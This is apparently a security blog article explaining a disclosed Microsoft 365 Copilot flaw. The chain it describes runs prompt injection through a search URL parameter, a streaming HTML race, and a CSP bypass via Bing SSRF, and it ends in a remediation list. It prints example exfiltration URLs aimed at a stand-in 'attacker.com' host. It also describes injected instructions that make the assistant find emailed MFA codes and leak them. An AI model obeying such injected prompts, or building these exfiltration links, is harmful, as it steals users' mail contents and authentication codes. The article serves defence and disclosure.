Copilot SearchLeak Vulnerability: How Hackers Steal 2FA Codes

Article Content
The rapid democratization of generative artificial intelligence (GenAI) within enterprise ecosystems has ushered in unprecedented productivity gains. However, this massive operational shift has also introduced a novel breed of vulnerabilities that target the trust boundaries between users, artificial intelligence agents, and underlying enterprise databases. On June 15, 2026, cybersecurity researchers at Varonis Threat Labs disclosed a critical security flaw that highlights this friction: Copilot SearchLeak (tracked as CVE-2026-42824). This highly sophisticated, three-stage vulnerability chain allows remote attackers to turn Microsoft 365 Copilot Enterprise into a silent, one-click data exfiltration tool, exposing sensitive organizational documents, upcoming agendas, and even active multi-factor authentication (MFA) codes.
Because Microsoft 365 Copilot operates with the victim’s full Microsoft Graph permissions, the AI is granted seamless, blanket access to the user’s entire organizational footprint. Rather than attempting to break through outer network perimeters or bypass traditional authentication controls, the attacker effectively co-opts the AI to act as an authorized internal agent. The exploit is incredibly dangerous because it relies on a trusted microsoft.com domain, meaning traditional secure email gateways, endpoint protection software, and URL filtering tools do not trigger alerts during the initial delivery stage. Below, we analyze the intricate mechanics of this exploit, the structural threats it poses to enterprise authentication, and the fundamental lessons security teams must adopt to safeguard LLM integrations.
Unpacking the Mechanics of Copilot SearchLeak
To fully comprehend the danger of Copilot SearchLeak, one must understand that it is not a single, isolated software bug. Instead, it is an elegant exploit chain composed of one AI-specific vulnerability and two classic web security weaknesses. By stacking these vulnerabilities together, researchers proved that an attacker could achieve complete data exfiltration with zero user input beyond a single click.
The entire attack flow is divided into three consecutive phases:
- Parameter-to-Prompt (P2P) Injection: The delivery and hijacking of the active AI session.
- HTML Rendering Race Condition: The exploitation of browser rendering cycles to execute raw markup before sanitization occurs.
- CSP Bypass via Bing SSRF: The proxying of exfiltrated data through an allowlisted domain to bypass Content Security Policies.
Phase 1: Parameter-to-Prompt (P2P) Injection
In standard prompt injection scenarios, an attacker must either trick a user into pasting malicious instructions directly into a chat window, or place those instructions on an external website that the AI summarizes. Copilot SearchLeak bypasses these hurdles by utilizing a technique known as Parameter-to-Prompt (P2P) injection.
The entry point is Microsoft 365 Copilot Search, which utilizes a specific web URL structure to accept searches via a query parameter (often designated as q=). The URL typically resembles:
https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=<PROMPT>
Instead of treating the input within the q parameter as a plain-text search string, the backend architecture of Microsoft 365 Copilot processes this parameter directly as a live, executable prompt. An attacker can craft a malicious URL containing encoded natural language instructions. When the victim clicks this link, Copilot immediately ingests the instructions and begins executing them within the user’s active context without requiring any further typing or confirmation. This merges the control channel (the application interface) with the data channel (the user input), a core architectural weakness of many contemporary LLM systems.
Phase 2: The HTML Rendering Race Condition
Once the prompt is injected, the attacker’s objective is to extract data. The prompt instructs Copilot to search the user’s environment (e.g., retrieving recent emails) and format the output inside an HTML image tag (<img>). Conceptually, the image tag looks like this:
<img src="https://attacker.com/[STOLEN_DATA]">
Microsoft was already aware that AI assistants could generate malicious HTML and implemented defensive guardrails. The core mitigation involves wrapping LLM outputs inside secure <code> blocks or executing client-side sanitization so that the browser treats the markup as plain text rather than active, executable code. However, the researchers identified a fatal race condition in how the response is rendered.
Because LLM responses are streamed to the browser chunk-by-chunk to reduce latency, the browser updates the Document Object Model (DOM) in real-time. The client’s browser renders the incoming HTML chunks on the fly. If the stream contains an <img> tag, the browser’s rendering engine immediately processes it and dispatches an outbound HTTP request to fetch the resource. Microsoft’s sanitization and code-block wrapping only apply after a response block or the entire stream is fully generated and finalized. This creates a temporary window where raw HTML is active. By the time the frontend application sanitizes the output and hides the image, the browser has already executed the request and sent the data.
Phase 3: The Bing SSRF and Content Security Policy (CSP) Bypass
Even if an outbound HTTP request is triggered, modern web applications employ a Content Security Policy (CSP) to restrict where the browser is allowed to send data. If Copilot’s CSP blocks connections to unrecognized domains (such as attacker.com), the exfiltration should fail. To circumvent this, the exploit uses a third, highly creative step: abusing Microsoft’s trust boundaries.
Because Microsoft services are tightly integrated, bing.com is an explicitly trusted, allowlisted domain within the application’s CSP. The attacker leverages this by instructing Copilot to format the image source URL using Bing’s reverse image search endpoint, nesting the attacker’s server inside the query:
https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/[STOLEN_DATA]/img.png
When the browser processes this tag, it verifies that the destination is bing.com, which complies with the CSP. The browser willingly dispatches the request to Bing. Once Bing receives the query, its backend server processes the imgurl parameter to fetch and analyze the image. In doing so, Bing executes a Server-Side Request Forgery (SSRF) to the attacker’s server. The attacker does not need to serve an actual image; they simply monitor their server logs for incoming HTTP requests containing the [STOLEN_DATA] payload embedded in the URL path.
The MFA Bypass Vector: The Ultimate Goal of SearchLeak
The primary concern regarding Copilot SearchLeak is how it weaponizes an employee’s legitimate Microsoft Graph permissions. Because Copilot acts on behalf of the user, it can access any data the user has permission to read. This is a critical security vulnerability because it allows attackers to bypass multi-factor authentication (MFA) protocols on secondary corporate services.
Consider a standard corporate workflow: an employee logs into a critical financial system, triggering a one-time password (OTP) sent to their Outlook inbox. An attacker exploiting SearchLeak can instruct Copilot to execute the following hidden sequence in the background:
- Identify emails received within the last 60 seconds with subjects containing “verification,” “OTP,” “code,” or “MFA.”
- Extract the numerical or alphanumeric verification code from the email body.
- Construct the exfiltration URL with the extracted code and trigger the image fetch.
Because the process takes place in seconds and runs entirely in the background during the active search stream, the attacker obtains the 2FA code almost instantly, allowing them to authenticate into secondary portals before the code expires. The target user remains completely unaware that their mailbox was read and that their credentials were exfiltrated in real-time.
Why Traditional Phishing and Edge Defenses Fail
Security teams often rely on firewalls, Secure Email Gateways (SEGs), and DNS-level blocking to intercept malicious links before they reach the endpoint. However, Copilot SearchLeak renders these controls obsolete due to the legitimate nature of the delivery mechanism.
Because the malicious link points directly to m365.cloud.microsoft or microsoft.com, security gateways classify it as safe. There are no malicious domains, unresolved DNS entries, or suspicious redirects for automated email scanners to flag. The payload is entirely encapsulated within the URL query parameters, which are often overlooked or considered benign by traditional threat detection engines. This highlights a growing “AI blind spot” in modern defense architectures: when the application itself is the interpreter of malicious payloads, perimeter security is no longer an effective shield.
The Paradigm Shift: Securing the Data Layer Beneath AI Assistants
While Microsoft quickly issued a backend patch to mitigate CVE-2026-42824, cybersecurity experts emphasize that Copilot SearchLeak is a symptom of a deeper, systemic issue in how modern enterprise environments secure Large Language Models. Organizations cannot treat AI integration tools as isolated, harmless productivity layers; they must recognize them as highly powerful execution environments that inherit all the security debt of the tenant.
In many enterprise setups, users are granted “broad read” access to folders, SharePoint directories, and legacy mailboxes they do not actually need to perform their daily duties. This phenomenon, known as oversharing, goes unnoticed because employees rarely search for or access these files manually. However, when an AI search layer is introduced, these legacy permissions are consolidated at machine speed. If an AI assistant can query everything, an attacker who co-opts that assistant instantly inherits that expansive, unchecked blast radius.
Remediation, Defensive Controls, and Future-Proofing
Because Microsoft managed the fix for CVE-2026-42824 on its backend, enterprise administrators do not need to apply manual client-side patches. However, the threat model of parameter-to-prompt injection and silent exfiltration remains a major area of concern for custom LLM developments and other third-party integrations.
To secure sensitive environments against similar exploitation vectors, organizations are advised to implement the following defensive controls:
- Enforce the Principle of Least Privilege (PoLP): Audit and restrict Microsoft Graph, SharePoint, and OneDrive directory permissions. Ensure that AI assistants do not have default, unchecked access to directories containing highly sensitive business data or shared mailboxes.
- Deploy Prompt Injection Monitoring: Monitor and analyze automated AI execution windows for anomalous queries. Look for heavily encoded URLs, unusual search parameters, or scripts containing HTML-like formatting instructions embedded inside natural language queries.
- Implement Content Security Policy (CSP) Hardening: For custom LLM applications, tightly restrict the domains allowed in image-loading directives (
img-src). Avoid blanket allowlisting of search engine endpoints unless strictly necessary, and disable server-side rendering of untrusted external content. - Isolate High-Value Notification Channels: Keep multi-factor authentication (MFA) codes, password reset links, and sensitive system alerts off channels that are indexed by enterprise LLMs. Consider migrating high-value authentications to hardware security keys (FIDO2) or dedicated authenticator applications that do not deliver OTPs via email or SMS.
Ultimately, Copilot SearchLeak proves that security in the age of generative AI requires a fundamental redesign of threat models. As AI assistants become deeply woven into our daily workflows, maintaining absolute control over the data layer and validating input boundaries will define the line between an optimized digital workspace and a catastrophic data breach.
Written by
TempMail Ninja
Digital privacy and online security expert. Passionate about creating tools that protect users' identity on the internet.


